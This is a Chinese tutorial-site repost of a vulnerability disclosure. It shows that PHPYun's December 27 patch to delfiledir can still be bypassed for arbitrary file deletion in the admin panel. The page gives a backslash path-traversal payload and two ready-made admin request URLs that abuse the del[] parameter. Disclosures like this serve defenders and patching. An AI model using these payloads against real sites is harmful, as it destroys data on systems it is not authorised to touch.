网站地图    收藏   

主页 > 入门引导 > 黑客攻防 >

PHPYun依然存在任意文件删除漏洞(后台触发)

来源:自学PHP网    时间:2015-04-15 15:00 作者: 阅读:

[导读] 27日补丁后,PHPYun依然存在任意文件删除漏洞12月27日,官方出了补丁:在action class php的delfiledir函数中加入了替换 和 function delfiledir($delfiles){ $delfiles =...

27日补丁后,PHPYun依然存在任意文件删除漏洞
 
12月27日,官方出了补丁:
 
在action.class.php的delfiledir函数中加入了替换../和./
 
function delfiledir($delfiles){

                $delfiles = str_replace("../","",$delfiles);

                $delfiles = str_replace("./","",$delfiles);

                $delfiles = "../".$delfiles;

 

 
那么我们有别的方法可以绕过:
 
(发现wooyun会把一个反斜杠变成两个…… \-->\\)
 
方法:改为
..\/..\/robots.txt
或者直接
..\..\robots.txt
 
 
地点一:
 
提交地址:
http://localhost/phpyun/admin/index.php?C=del&M=user_member&delsub=1&del[]=..\/..\/robots.txt
 
 
通过修改del[]参数,可删除任意文件
 
地点二:
 
提交地址:
http://localhost/phpyun/admin/index.php?C=del&M=com_member&delsub=1&del[]=..\/..\/robots.txt
 
 
通过修改del[]参数,可删除任意文件
 
 
 
 
 
问题文件分别是/admin/model/com_member.class.php 和 /admin/model/user_member.class.php 
 

修复方案:
要不改正则

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论